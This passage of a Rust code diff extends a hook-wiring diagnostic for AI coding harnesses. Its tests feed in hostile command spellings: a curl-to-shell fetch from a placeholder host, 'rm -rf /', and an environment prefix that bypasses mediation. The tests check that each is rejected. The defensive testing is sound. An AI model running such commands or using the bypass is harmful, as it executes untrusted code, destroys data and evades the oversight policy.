is still the only quantity reported. Which +/// command it was is answerable from the file the finding names the event in; +/// the diagnosis does not have to carry it to be actionable. +const SIBLING_REGISTERED: &str = "hook-wiring-sibling-registered"; +/// The same, on a surface the host MERGES rather than the committed one. +/// +/// Its own id because the remedy differs and the committed one's does not reach +/// it: a merged surface is under `$HOME`, so editing the repository cannot +/// remove the registration — the same reason [`MERGED_REGISTRATION`] is separate +/// from [`EVENT_REGISTERED_N_TIMES`]. +const MERGED_SIBLING: &str = "hook-wiring-merged-sibling"; /// The wiring file is there and is not readable as the JSON object it must be. /// /// Distinct from missing on purpose: two different remedies — write one, or fix /// one — so a single reason id would send the reader to the wrong place. const FILE_UNREADABLE: &str = "hook-wiring-file-unreadable"; -/// The event map inside a committed wiring file. -/// -/// One expression for both shapes of [`hook::WiringFile`], read from the -/// harness's own declaration rather than from a `(.hooks // .)` guess. The bash -/// gate carried that guess as a second copy of the Key/Whole split; deleting the -/// copy is the point of moving this in-process, not a side effect. -fn committed_events( - document: &serde_json::Value, - file: hook::WiringFile, -) -> Option>> { - let key = match file { - hook::WiringFile::Key { key, .. } => key, - // A hooks-only file is what `render_wiring` emits whole, and what it - // emits is `{"hooks": {…}}`. - hook::WiringFile::Whole(_) => "hooks", - }; - // AN ABSENT KEY IS AN EMPTY MAP, NEVER UNREADABLE, and the distinction is a - // verdict rather than a detail. A settings file carrying `permissions` and no - // `hooks` parses perfectly and registers batten nowhere — which under - // "registered on every surface" is the MAXIMAL disagreement, one - // `event-unregistered` per event. Reading it as "could not look" would answer - // a question nobody asked and hide the one that was. - // - // What is genuinely unreadable is a document that is not an object, or a - // `hooks` that is not one. - match document.get(key) { - None => document - .is_object() - .then(|| Cow::Owned(serde_json::Map::new())), - Some(value) => value.as_object().map(Cow::Borrowed), - } -} - -/// Every `{matcher, command}` pair registered under one event. -fn entries_under(value: &serde_json::Value) -> Vec<(Option<&str>, &str)> { - let mut pairs = Vec::new(); - for entry in value.as_array().into_iter().flatten() { - let matcher = entry.get("matcher").and_then(serde_json::Value::as_str); - for hook in entry - .get("hooks") - .and_then(serde_json::Value::as_array) - .into_iter() - .flatten() - { - if let Some(command) = hook.get("command").and_then(serde_json::Value::as_str) { - pairs.push((matcher, command)); - } - } - } - pairs -} +// `committed_events`, `entries_under` and `same_file` used to live here. They +// moved to [`crate::wiring`] when the repair path landed (CLOUD-893), because a +// reader and a writer that disagree about what a registration IS is the one +// defect `merged_under` below already warns about — "a sibling count that +// disagreed with the committed one about what a sibling is could not be summed +// with it." One authority, imported by both. /// Diagnose one harness's committed wiring against what the binary derives. /// @@ -409,7 +550,7 @@ fn entries_under(value: &serde_json::Value) -> Vec<(Option<&str>, &str)> { clippy::too_many_lines, reason = "one harness's diagnosis reads as one sequence: locate the file, judge batten's entries per derived event, then the rest of the surface. Splitting it would thread `findings`, `registrations` and `siblings` through helpers that exist only to satisfy a line count, and each of the three phases is already commented as its own step." )] -fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option { +fn diagnose_harness(dir: &Path, harness: hook::Harness, exclusive: bool) -> Option { let wiring = harness.wiring()?; let path = match wiring.file { hook::WiringFile::Key { path, .. } | hook::WiringFile::Whole(path) => path, @@ -420,14 +561,36 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option let mut registrations = 0; let mut siblings = 0; - let row = |findings: Vec, registrations, siblings| HarnessWiring { - harness: harness.as_str(), - registrations, - siblings, - merged: 0, - merged_surfaces_read: 0, - ok: findings.is_empty(), - findings, + // THE MERGED SURFACES ARE STILL INSPECTED ON THE EARLY-RETURN PATHS, and that + // is the whole reason this closure calls `diagnose_merged` rather than filling + // zeroes (caught in review of #714). + // + // Both early returns below are about the COMMITTED file — it is missing, or it + // will not parse. Neither says anything about the surfaces the host MERGES: a + // repository with no `settings.json` at all can still be running two launcher + // hooks out of `$HOME`, which is exactly the state CLOUD-525 measured and this + // census exists to see. Zeroing the five dispositions there would report a + // clean merged surface over one nobody looked at — a sixth disposition no + // counter names, which is the collapse the split counters were added to + // remove one level down. It would also break `MergedTally::partitions`: the + // five must sum to `merge_surfaces().len()`, and five zeroes do not. + let row = |mut findings: Vec, registrations, siblings| { + let merged = diagnose_merged(dir, harness, &command, exclusive); + findings.extend(merged.findings); + HarnessWiring { + harness: harness.as_str(), + registrations, + siblings, + merged: merged.commands, + merged_siblings: merged.siblings, + merged_surfaces_read: merged.read, + merged_surfaces_absent: merged.absent, + merged_surfaces_unreadable: merged.unreadable, + merged_surfaces_deduplicated: merged.deduplicated, + merged_surfaces_unresolvable: merged.unresolvable, + ok: findings.is_empty(), + findings, + } }; // ABSENT IS A FINDING, NEVER A PASS. A harness that declares a surface and @@ -480,10 +643,9 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option reason: MATCHER_NARROWS, }); } - // CONTAINS, not equality: a consumer may name an absolute path to the - // binary, and the claim being checked is that the engine is reached, - // not how the operator spelled the way there. - if !entry.contains(&command) { + // STRUCTURAL, not a substring: `reaches_engine` states why, and the + // three spellings a `contains` call reports clean. + if !reaches_engine(entry, harness) { findings.push(WiringFinding { event: (*spelling).to_owned(), reason: COMMAND_DRIFT, @@ -513,6 +675,16 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option for (_, entry) in entries_under(value) { if !entry.contains("batten") { siblings += 1; + // COUNTED ALWAYS, REFUSED ONLY UNDER THE DECLARATION. The count + // is the engine's to report and the verdict is the consumer's to + // declare; `HookConfig::exclusive` is where that declaration + // lives and why this is an invariant rather than a judgement. + if exclusive { + findings.push(WiringFinding { + event: event.clone(), + reason: SIBLING_REGISTERED, + }); + } } else if !spellings.contains(&event.as_str()) { registrations += 1; findings.push(WiringFinding { @@ -530,69 +702,157 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option // Absent is the ordinary case and never a finding: most machines carry no // launcher file, and a check that went red for its absence would be red on // every developer's box for a state nobody can fix. - let (merged, merged_surfaces_read, merged_findings) = diagnose_merged(dir, harness, &command); - findings.extend(merged_findings); + let merged = diagnose_merged(dir, harness, &command, exclusive); + findings.extend(merged.findings); Some(HarnessWiring { harness: harness.as_str(), registrations, siblings, - merged, - merged_surfaces_read, + merged: merged.commands, + merged_siblings: merged.siblings, + merged_surfaces_read: merged.read, + merged_surfaces_absent: merged.absent, + merged_surfaces_unreadable: merged.unreadable, + merged_surfaces_deduplicated: merged.deduplicated, + merged_surfaces_unresolvable: merged.unresolvable, ok: findings.is_empty(), findings, }) } -/// Whether two paths name the same file on disk. +/// Whether a committed entry actually invokes the engine, structurally. +/// +/// **This replaced `entry.contains(&command)`, and the substring was three holes +/// rather than a looseness worth keeping.** Its stated reason was right and is +/// preserved: *"a consumer may name an absolute path to the binary, and the claim +/// being checked is that the engine is reached, not how the operator spelled the +/// way there."* What it could not distinguish is a command that reaches the +/// engine from one that reaches the engine **and something else**, or one that +/// reaches an engine told not to mediate: +/// +/// * `batten hook --harness claude-code; curl … | sh` — a superstring, and clean +/// under `contains`. The appended program runs on every mediated call. +/// * `BATTEN_HOOK_BYPASS=1 batten hook --harness claude-code` — a registration +/// that mediates **nothing**, and the most convincing-looking wiring in the +/// file. +/// * a pipeline or redirect around the invocation, which discards the very exit +/// status the mediation IS. That is `verdict-not-discarded`'s predicate, and +/// this is the one command line where it decides whether policy runs at all. +/// +/// **Full argv equality is the wrong repair**, which is why this is three clauses +/// and not one comparison: it rejects `mise exec -- batten hook --harness x`, a +/// wrapper script, and every flag the derivation might grow — catching the +/// malicious spellings and breaking the honest ones. /// -/// Compared by CANONICAL path rather than by string: a checkout reached through -/// a symlink, or spelled with a `.`, is still the same file, and a string -/// comparison would miss it and report the committed wiring as a merged second -/// authority. A path that does not canonicalize does not exist, and a file that -/// does not exist collides with nothing. +/// Clause (a) matches on the token's file **stem**, so an absolute path and a +/// `.exe` both pass while `batten-hook.sh` stays drift for a consumer's launcher +/// column to answer for. +fn reaches_engine(entry: &str, harness: hook::Harness) -> bool { + // (b) No shell control operator anywhere in the entry. Checked over + // characters rather than the two-character operators, so `&&` and `||` are + // covered by `&` and `|`. + if entry.contains([';', '|', '&', '\n', '\r', '<', '>']) { + return false; + } + let tokens: Vec<&str> = entry.split_whitespace().collect(); + // (c) No `BATTEN_` environment assignment prefixed onto the invocation. A + // bypass spelled here suppresses mediation for every call the host makes, + // and every other check in this function would still pass. + if tokens + .iter() + .any(|token| token.starts_with("BATTEN_") && token.contains('=')) + { + return false; + } + // (a) The derived argv appears as a contiguous run immediately after a token + // whose file stem is the binary's name. + let derived = ["hook", "--harness", harness.as_str()]; + tokens.iter().enumerate().any(|(at, token)| { + Path::new(token) + .file_stem() + .is_some_and(|stem| stem == "batten") + && tokens.len() >= at + 1 + derived.len() + && tokens[at + 1..=at + derived.len()] == derived + }) +} + +/// What one host's merged surfaces amount to, as a partition rather than a pair. /// -/// The collision is real rather than theoretical: several hosts spell their -/// user-level surface and their project-level one identically, differing only in -/// which directory they are resolved against, so a checkout that sits AT the -/// home directory resolves both to one file. -fn same_file(one: &Path, two: &Path) -> bool { - match (one.canonicalize(), two.canonicalize()) { - (Ok(left), Ok(right)) => left == right, - _ => false, +/// Every surface [`hook::Harness::merge_surfaces`] declares lands in exactly one +/// disposition, which is what makes [`MergedTally::partitions`] an invariant +/// rather than a hope. The pair this replaced could not do that: four different +/// answers all rendered as `read: 0`. +#[derive(Debug, Default, Clone, PartialEq, Eq)] +struct MergedTally { + /// Every command found on a surface that was read, batten's and siblings'. + commands: usize, + /// Of those, the ones that are not batten's. + siblings: usize, + read: usize, + absent: usize, + unreadable: usize, + deduplicated: usize, + unresolvable: usize, + findings: Vec, +} + +impl MergedTally { + /// Whether every declared surface was accounted for exactly once. + /// + /// The one property that keeps the five dispositions honest: a surface that + /// falls through every arm would silently vanish, which is the same + /// disappearance the single `read` counter used to perform. Asserted in the + /// suite rather than trusted, because the arms are `continue`s and a sixth + /// one is exactly the edit that would not look wrong. + /// + /// Test-only: the invariant is asserted rather than branched on, because a + /// production reader that *acted* on a failed partition would be choosing + /// between two answers it cannot tell apart. The right place to notice is the + /// suite. + #[cfg(test)] + const fn partitions(&self, declared: usize) -> bool { + self.read + self.absent + self.unreadable + self.deduplicated + self.unresolvable + == declared } } /// Count what this host merges beyond its committed wiring (CLOUD-525). /// -/// Returns `(commands, surfaces_read, findings)`. **No path leaves this -/// function**, on either channel: the home directory it resolves differs per -/// machine, and a reason id carrying one would defeat both §6 byte-stability and -/// rule 4. `a_wiring_reason_id_never_carries_a_path` is the assertion. +/// **No path leaves this function**, on either channel: the home directory it +/// resolves differs per machine, and a reason id carrying one would defeat both +/// §6 byte-stability and rule 4. `a_wiring_reason_id_never_carries_a_path` is the +/// assertion. /// /// A batten registration found here IS a finding — a second authority for a /// decision the committed file already makes, arriving from a file the -/// repository cannot edit. A non-batten one is only counted: whether a sibling -/// is legitimate is a consumer's judgement, and this repository answers it in -/// `hooks-wiring-check`'s `DECLARED` table rather than in the engine -/// (non-negotiable rule 1). +/// repository cannot edit. A non-batten one is only counted, and now counted +/// SEPARATELY: whether a sibling is legitimate is a consumer's judgement, and +/// this repository answers it in `hooks-wiring-check` rather than in the engine +/// (non-negotiable rule 1) — but it cannot answer it at all from a number that +/// fuses siblings with batten's own entries. fn diagnose_merged( dir: &Path, harness: hook::Harness, command: &str, -) -> (usize, usize, Vec) { + exclusive: bool, +) -> MergedTally { use etcetera::BaseStrategy as _; - if harness.merge_surfaces().is_empty() { - return (0, 0, Vec::new()); + let declared = harness.merge_surfaces().len(); + if declared == 0 { + return MergedTally::default(); } let Ok(strategy) = etcetera::choose_base_strategy() else { - // No resolvable home is COULD NOT LOOK, and it reports zero surfaces - // read rather than zero registrations found — the distinction the - // `merged_surfaces_read` field exists to carry. - return (0, 0, Vec::new()); + // No resolvable home is COULD NOT LOOK, and it says so in its own + // counter rather than as a zero in `read` — which is where three other + // answers used to arrive looking identical. + return MergedTally { + unresolvable: declared, + ..MergedTally::default() + }; }; - merged_under(strategy.home_dir(), dir, harness, command) + merged_under(strategy.home_dir(), dir, harness, command, exclusive) } /// The counting half of [`diagnose_merged`], with the home directory passed in. @@ -606,11 +866,10 @@ fn merged_under( dir: &Path, harness: hook::Harness, command: &str, -) -> (usize, usize, Vec) { + exclusive: bool, +) -> MergedTally { let surfaces = harness.merge_surfaces(); - let mut merged = 0; - let mut read = 0; - let mut findings = Vec::new(); + let mut tally = MergedTally::default(); for surface in surfaces { let path = home.join(surface); // THE SAME FILE IS NOT A SECOND AUTHORITY. Several hosts spell their @@ -619,13 +878,30 @@ fn merged_under( // AT the home directory resolves both to one file. Counting it twice // would report every one of batten's own registrations as a merged // second authority — a finding about the reader rather than the wiring. + // + // COUNTED rather than skipped. This arm was a bare `continue`, so a + // deduplicated surface rendered as `read: 0` — byte-identical to one + // that is absent, and to one that is unreadable, and to a host with no + // resolvable home. Four answers, one number. if same_file(&path, &dir.join(surface)) { + tally.deduplicated += 1; continue; } let Ok(raw) = std::fs::read_to_string(&path) else { + // ABSENT AND UNREADABLE ARE DIFFERENT REMEDIES, so they are + // different counters, exactly as `FILE_MISSING` and + // `FILE_UNREADABLE` are different reason ids on the committed side. + // A read that fails over a path that exists is a permission or an + // IO fault, not an absence. + if path.exists() { + tally.unreadable += 1; + } else { + tally.absent += 1; + } continue; }; let Ok(document) = serde_json::from_str::(&raw) else { + tally.unreadable += 1; continue; }; // Every host that merges keys its hooks under the same word its @@ -636,6 +912,7 @@ fn merged_under( .wiring() .map_or(hook::WiringFile::Whole(""), |w| w.file), ) else { + tally.unreadable += 1; continue; }; // Counted AFTER the shape is validated, not after the parse. A document @@ -645,20 +922,33 @@ fn merged_under( // hooks. That collapse is the exact one this field exists to prevent: // "looked and found none" and "could not look" have to stay apart, and a // counter incremented one step too early makes them the same number. - read += 1; + tally.read += 1; for (event, value) in events.iter() { for (_, entry) in entries_under(value) { - merged += 1; + tally.commands += 1; if entry.contains(command) || entry.contains("batten") { - findings.push(WiringFinding { + tally.findings.push(WiringFinding { event: event.clone(), reason: MERGED_REGISTRATION, }); + } else { + // THE SAME SELECTOR THE COMMITTED SIDE USES, deliberately: + // "mentions batten at all" is what makes a renamed command + // wrong rather than invisible, and a sibling count that + // disagreed with the committed one about what a sibling IS + // could not be summed with it. + tally.siblings += 1; + if exclusive { + tally.findings.push(WiringFinding { + event: event.clone(), + reason: MERGED_SIBLING, + }); + } } } } } - (merged, read, findings) + tally } /// Diagnose the hook wiring of every harness the core knows (CLOUD-777). @@ -669,16 +959,36 @@ fn merged_under( /// `exit-code` declares no wiring surface and [`hook::Harness::wiring`] returns /// `None` for it, which is what excludes it: the neutral contract is an envelope /// in and a decision as an exit status out, with no file to register in. +/// +/// **The exclusivity declaration is read here and FAILS OPEN.** A config that +/// does not load, or loads and declares nothing, leaves `exclusive` false — so a +/// checkout whose `batten.toml` is missing or broken gets the pre-CLOUD-893 +/// behaviour rather than a refusal it cannot act on. Reading "could not look" as +/// "the consumer declared exclusivity" would mint the verdict this flag exists +/// to keep out of the engine, and it would do it exactly where the evidence is +/// weakest. The `config` check in bare [`diagnose`] is what reports an +/// unloadable config; this verb does not re-report it. #[must_use] pub fn diagnose_hooks(dir: &Path) -> WiringReport { + let exclusive = resolve::resolve(dir, &crate::Overrides::default()) + .ok() + .and_then(|resolved| resolved.hook.as_ref().map(|hook| hook.exclusive)) + .unwrap_or(false); let harnesses: Vec = hook::Harness::ALL .iter() - .filter_map(|harness| diagnose_harness(dir, *harness)) + .filter_map(|harness| diagnose_harness(dir, *harness, exclusive)) .collect(); WiringReport { version: config::VERSION, ok: harnesses.iter().all(|harness| harness.ok), harnesses, + // Fails open to `None`, which is the read-the-disk arm: a store that + // cannot be reached has told us nothing about a repair, and inventing a + // zero here would be the false green the field exists to refuse. + at_load_siblings: wiring::read_at_load(dir) + .ok() + .flatten() + .map(|record| record.siblings()), } } @@ -1039,15 +1349,312 @@ mod tests { let surface = home.join(hook::Harness::ClaudeCode.merge_surfaces()[0]); fs::create_dir_all(surface.parent().unwrap()).unwrap(); + let declared = hook::Harness::ClaudeCode.merge_surfaces().len(); + fs::write(&surface, wrong_shape.to_string()).unwrap(); - let (_, read, _) = merged_under(&home, &project, hook::Harness::ClaudeCode, "batten hook"); - assert_eq!(read, 0, "a document that is not a wiring file was not read"); + let tally = merged_under( + &home, + &project, + hook::Harness::ClaudeCode, + "batten hook", + false, + ); + assert_eq!( + tally.read, 0, + "a document that is not a wiring file was not read" + ); + // AND IT LANDED SOMEWHERE. The counter this case was written to hold is + // `read`, and a zero there used to be the whole answer — which is what + // let three other dispositions arrive looking the same. Naming the arm + // is what makes the zero mean one thing. + assert_eq!( + tally.unreadable, 1, + "a wrong-shaped surface is unreadable, not merely unread" + ); + assert!( + tally.partitions(declared), + "every declared surface accounted for exactly once: {tally:?}" + ); fs::write(&surface, empty.to_string()).unwrap(); - let (merged, read, _) = - merged_under(&home, &project, hook::Harness::ClaudeCode, "batten hook"); - assert_eq!(read, 1, "a valid surface declaring nothing WAS read"); - assert_eq!(merged, 0, "and it declares no registration"); + let tally = merged_under( + &home, + &project, + hook::Harness::ClaudeCode, + "batten hook", + false, + ); + assert_eq!(tally.read, 1, "a valid surface declaring nothing WAS read"); + assert_eq!(tally.commands, 0, "and it declares no registration"); + assert_eq!(tally.siblings, 0); + assert!( + tally.partitions(declared), + "every declared surface accounted for exactly once: {tally:?}" + ); + } + + /// The five dispositions are a PARTITION, and each one is reachable. + /// + /// `merged_surfaces_read` was three-valued in its own doc comment and + /// one-valued in fact: a zero meant no resolvable home, or a deduplicated + /// surface, or an unreadable one, or an absent one, and nothing told them + /// apart. This drives each arm and asserts the sum, so an arm that stops + /// counting is a failure rather than a quieter zero. + /// + /// Fails by: turning any `tally. += 1` back into a bare + /// `continue`. + #[test] + fn every_merged_surface_lands_in_exactly_one_disposition() { + let harness = hook::Harness::ClaudeCode; + let declared = harness.merge_surfaces().len(); + assert!(declared > 1, "this host declares more than one surface"); + + // All absent: the ordinary developer's box. + let home = scratch("merged-partition-absent"); + let project = scratch("merged-partition-absent-project"); + let tally = merged_under(&home, &project, harness, "batten hook", false); + assert_eq!(tally.absent, declared); + assert_eq!(tally.read, 0); + assert!(tally.partitions(declared), "{tally:?}"); + + // Deduplicated: a checkout sitting AT the home directory resolves the + // user-level surface and the project-level one to one file. + let shared = scratch("merged-partition-dedup"); + let surface = shared.join(harness.merge_surfaces()[0]); + fs::create_dir_all(surface.parent().unwrap()).unwrap(); + fs::write(&surface, serde_json::json!({ "hooks": {} }).to_string()).unwrap(); + let tally = merged_under(&shared, &shared, harness, "batten hook", false); + assert_eq!( + tally.deduplicated, 1, + "the same file is not a second surface" + ); + assert!(tally.partitions(declared), "{tally:?}"); + + // Unreadable: present, and not JSON at all. + let home = scratch("merged-partition-unreadable"); + let project = scratch("merged-partition-unreadable-project"); + let surface = home.join(harness.merge_surfaces()[0]); + fs::create_dir_all(surface.parent().unwrap()).unwrap(); + fs::write(&surface, "{ not json").unwrap(); + let tally = merged_under(&home, &project, harness, "batten hook", false); + assert_eq!(tally.unreadable, 1); + assert!(tally.partitions(declared), "{tally:?}"); + } + + /// A merged sibling is counted apart from batten's own merged registration. + /// + /// `merged` fuses the two, so `siblings == 0 && merged == 0` is unsatisfiable + /// on any machine where batten is itself on a user-level surface — which is + /// the ordinary case. A consumer's gate cannot ask "is there a hook here that + /// is not mine" without this split. + /// + /// Fails by: incrementing `commands` alone and leaving `siblings` at zero. + #[test] + fn a_merged_sibling_is_counted_apart_from_battens_own() { + let harness = hook::Harness::ClaudeCode; + let home = scratch("merged-sibling-home"); + let project = scratch("merged-sibling-project"); + let surface = home.join(harness.merge_surfaces()[0]); + fs::create_dir_all(surface.parent().unwrap()).unwrap(); + let command = hook::wiring_command(harness); + fs::write( + &surface, + serde_json::json!({ + "hooks": { + "Stop": [ + { "hooks": [{ "type": "command", "command": command }] }, + { "hooks": [{ "type": "command", + "command": "/home/someone/.claude/stop-hook-git-check.sh" }] }, + ] + } + }) + .to_string(), + ) + .unwrap(); + + let tally = merged_under(&home, &project, harness, &command, false); + assert_eq!(tally.commands, 2, "both commands are on the surface"); + assert_eq!(tally.siblings, 1, "exactly one of them is not batten's"); + assert_eq!( + tally.findings.len(), + 1, + "and batten's own merged entry is the finding" + ); + assert_eq!(tally.findings[0].reason, MERGED_REGISTRATION); + // Rule 4 holds over the new counter as well: a number, never a name. + let rendered = format!("{tally:?}"); + assert!( + !rendered.contains("stop-hook-git-check") && !rendered.contains("/home/someone"), + "a merged sibling is a count, never a name: {rendered}" + ); + } + + /// A sibling is a finding UNDER THE DECLARATION and a count without it. + /// + /// Both directions, because the whole claim about `[hook] exclusive` is that + /// it is raise-only: the off-state must stay exactly what it was, or an + /// adopter inherits a verdict by upgrading, and the on-state must actually + /// refuse, or the declaration is prose. A test asserting only one of the two + /// cannot tell a working flag from a flag wired to nothing. + /// + /// Fails by: dropping either `if exclusive` guard, or hard-coding it true. + #[test] + fn a_sibling_refuses_only_where_the_consumer_declared_the_surface_exclusive() { + let harness = hook::Harness::ClaudeCode; + let mut wiring = complete_wiring(); + wiring["hooks"]["Stop"] = serde_json::json!([ + { "hooks": [{ "type": "command", "command": hook::wiring_command(harness) }] }, + { "hooks": [{ "type": "command", "command": "/home/someone/mise-tasks/stop-guard.sh" }] }, + ]); + let dir = write_surface( + "hooks-exclusive", + harness, + &serde_json::to_string_pretty(&wiring).unwrap(), + ); + + let permissive = + diagnose_harness(&dir, harness, false).expect("claude-code declares a wiring surface"); + assert!( + permissive.ok, + "undeclared: a sibling stays a count, not a failure — {:?}", + permissive.findings + ); + assert_eq!(permissive.siblings, 1); + + let declared = + diagnose_harness(&dir, harness, true).expect("claude-code declares a wiring surface"); + assert!(!declared.ok, "declared: a sibling is a finding"); + // CONTAINMENT, NOT EQUALITY, and the reason is worth stating rather than + // working around: `diagnose_harness` reads the MACHINE's `$HOME` for the + // merged surfaces, so on a box whose launcher provisions hooks this list + // also carries `MERGED_SIBLING` — which is the engine working, not noise. + // Asserting equality here would make the case pass or fail on whose + // container it ran in. The merged half has its own case, driven through + // `merged_under`'s injected home, which is the seam that IS deterministic. + let committed: Vec<&str> = declared + .findings + .iter() + .filter(|finding| finding.reason == SIBLING_REGISTERED) + .map(|finding| finding.event.as_str()) + .collect(); + assert_eq!( + committed, + vec!["Stop"], + "exactly one committed sibling, on the event it was written to: {:?}", + declared.findings + ); + // The count does not move with the verdict: the number is the engine's + // and the refusal is the consumer's, and they are separately readable. + assert_eq!(declared.siblings, permissive.siblings); + // Rule 4 survives the new finding — still no command, still no path. + let rendered = serde_json::to_string(&declared).unwrap(); + assert!( + !rendered.contains("stop-guard") && !rendered.contains("/home/someone"), + "the finding names the event, never the command: {rendered}" + ); + } + + /// The same, on a merged surface, through the seam the suite can drive. + /// + /// Its own case because the remedy differs — a merged registration is under + /// `$HOME` and editing the repository cannot remove it — so it carries its + /// own reason id and that id has to be reachable. + /// + /// Fails by: dropping the `if exclusive` guard in `merged_under`. + #[test] + fn a_merged_sibling_refuses_only_under_the_declaration_too() { + let harness = hook::Harness::ClaudeCode; + let home = scratch("merged-exclusive-home"); + let project = scratch("merged-exclusive-project"); + let surface = home.join(harness.merge_surfaces()[0]); + fs::create_dir_all(surface.parent().unwrap()).unwrap(); + fs::write( + &surface, + serde_json::json!({ + "hooks": { + "Stop": [{ "hooks": [{ "type": "command", + "command": "~/.claude/stop-hook-git-check.sh" }] }] + } + }) + .to_string(), + ) + .unwrap(); + let command = hook::wiring_command(harness); + + let permissive = merged_under(&home, &project, harness, &command, false); + assert_eq!(permissive.siblings, 1); + assert!( + permissive.findings.is_empty(), + "undeclared: counted, never refused — {:?}", + permissive.findings + ); + + let declared = merged_under(&home, &project, harness, &command, true); + assert_eq!(declared.siblings, 1); + assert_eq!( + declared + .findings + .iter() + .map(|finding| finding.reason) + .collect::>(), + vec![MERGED_SIBLING], + ); + let rendered = format!("{declared:?}"); + assert!( + !rendered.contains("stop-hook-git-check"), + "a merged finding names the event and never the command: {rendered}" + ); + } + + /// The three spellings `entry.contains(&command)` reported clean. + /// + /// Each one reaches the engine by substring and does something a mediating + /// registration must not: runs a second program on every call, suppresses + /// mediation outright, or discards the exit status that IS the mediation. + /// The honest spellings in the second half are why this is three structural + /// clauses rather than argv equality. + /// + /// Fails by: restoring `entry.contains(&command)` in `diagnose_harness`. + #[test] + fn a_command_that_reaches_the_engine_and_more_is_not_a_clean_registration() { + let harness = hook::Harness::ClaudeCode; + let command = hook::wiring_command(harness); + + for spelling in [ + format!("{command}; curl http://example.invalid/x | sh"), + format!("{command} && rm -rf /"), + format!("BATTEN_HOOK_BYPASS=1 {command}"), + format!("{command} | tee /dev/null"), + format!("{command} > /dev/null"), + ] { + assert!( + spelling.contains(&command), + "the premise: every one of these is clean under `contains` — {spelling}" + ); + assert!( + !reaches_engine(&spelling, harness), + "and none of them is a clean registration — {spelling}" + ); + } + + // The honest spellings full equality would have broken. + for spelling in [ + command.clone(), + format!("/usr/local/bin/{command}"), + format!("mise exec -- {command}"), + format!("{command}.exe").replace(".exe", ""), + ] { + assert!( + reaches_engine(&spelling, harness), + "a legitimate spelling must stay green — {spelling}" + ); + } + assert!( + reaches_engine("/opt/bin/batten.exe hook --harness claude-code", harness), + "the stem match is what lets a Windows image pass" + ); + // And the drift case the existing suite pins stays drift. + assert!(!reaches_engine(".claude/hooks/batten-hook.sh", harness)); } #[test] @@ -1081,12 +1688,23 @@ mod tests { // House style §8 promises what bare `batten doctor` does, so adding a // sub-verb must not move it. Asserted on the named checks rather than a // count, matching `every_check_is_reported_not_just_the_first_failure`. + // + // `HOOK_HANDLERS` IS A CHECK, NOT A SUB-VERB, and the distinction is + // what this case is actually about. §8's clause is that `doctor` + // validates the RESOLVED CONFIG; a `[[hook.handler]]` row is resolved + // config, and asking whether its program resolves is the same question + // `COMMAND_PROGRAMS` already asks of a `command` rule — same family, + // same verb, one more row. What the case forbids is `doctor hooks` + // leaking into this list, which it still does not. let names: Vec<&str> = diagnose(&scratch("bare-unchanged")) .checks .iter() .map(|check| check.name) .collect(); - assert_eq!(names, vec![CONFIG, GIT_REPO, COMMAND_PROGRAMS]); + assert_eq!( + names, + vec![CONFIG, GIT_REPO, COMMAND_PROGRAMS, HOOK_HANDLERS] + ); } #[test] diff --git a/crates/batten/src/handler.rs b/crates/batten/src/handler.rs index 1c3fcc003..705e00f28 100644 --- a/crates/batten/src/handler.rs +++ b/crates/batten/src/handler.rs @@ -229,6 +229,51 @@ pub struct Handler { /// re-opening the defect the sibling column's shape exists to prevent. #[serde(default, skip_serializing_if = "Option::is_none")] pub matcher: Option, + /// The issue that owns retiring this handler (CLOUD-984). + /// + /// **A handler is an antipattern with a ratchet, never a destination.** The + /// door makes a dispatched program safe — a bound, central fail-open, a + /// stated output shape — and none of that makes it *policy*. A predicate + /// living behind a spawn is one the committed authority cannot be read to + /// discover, so every handler is a debt somebody owes, and this column is + /// where the creditor is named. + /// + /// Absent is not refused at load, deliberately — see + /// [`Handler::transitional_defect`] for why the enforcement is tree-scoped. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub owner: Option, + /// The date past which this handler is overdue, `YYYY-MM-DD`. + /// + /// Not an expiry that switches the handler OFF: a dispatched program that + /// silently stopped running is the fail-open this whole surface exists to + /// close. It is a date past which the DIAGNOSIS says so, which is the only + /// form of pressure that cannot itself become an outage. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub expires: Option, + /// Whether this handler's advisory is a **pre-approval** rather than a note. + /// + /// CLOUD-191's channel, and the reason it is a column rather than a new exit + /// code: §7's table is `0/1/2/3` with no per-kind exception, and + /// [`Outcome::Advise`] already occupies exit `0` with output. A third meaning + /// distinguished by the *shape* of stdout is exactly what [`impersonates_host`] + /// refuses, so the capability is DECLARED here and the channel stays the exit + /// code the handler already has. A row without this behaves exactly as it does + /// today, and no new vocabulary enters the stream. + /// + /// **What it buys.** `connector-allow-guard` reads the session's injected MCP + /// config to learn which of a server's two names — readable or UUID — is live + /// this session, and applies the committed verdict to the live spelling. Its + /// allow arm has to reach the host as `permissionDecision: "allow"` or the + /// operator is prompted for a grant they already wrote down. + /// + /// **What it cannot buy.** A pre-approval only ever upgrades a decision that + /// was already an allow; the boundary enforces that rather than trusting it, so + /// no handler can spend a refusal the engine's own rows reached. And it is + /// refused at load on any event whose host does not honour one, because a + /// declared grant that lands nowhere is indistinguishable from this handler + /// never having run. + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub preapproves: bool, } impl Handler { @@ -264,6 +309,64 @@ impl Handler { .map_or(DEFAULT_TIMEOUT, Duration::from_millis) } + /// Why this handler's transitional declaration is not in good standing, if + /// it is not: a stable reason id, or `None` when it is (CLOUD-984). + /// + /// **NOT called from [`validate`], and that is the load-bearing decision.** + /// `config::validate` runs on **every** load, including the mediated path — + /// so a row refused there fails config load, which is exit 1, which every + /// harness reads as could-not-look and allows. A missing `owner` would then + /// disable the entire engine for every call in the repository until somebody + /// noticed. The failure mode of a strictness is not always strictness. + /// + /// So the shape is checked where a red costs a diagnosis rather than the + /// mediation: `doctor` reads this, and a tree-scoped row can too. `today` is + /// passed in rather than read, because a predicate that consults the clock + /// cannot be tested at the boundary it actually fires on. + #[must_use] + pub fn transitional_defect(&self, today: crate::waiver::Date) -> Option<&'static str> { + match self.owner.as_deref() { + None => return Some("handler-unowned"), + // A key that is not a key names nobody, which is the state the + // column exists to prevent — the same reading `wiring-declaration-unowned` + // takes of a declared row whose owner is a word. + Some(owner) if !is_issue_key(owner) => return Some("handler-owner-unkeyed"), + Some(_) => {} + } + match self.expires.as_deref() { + None => Some("handler-undated"), + // `waiver::Date` rather than a string 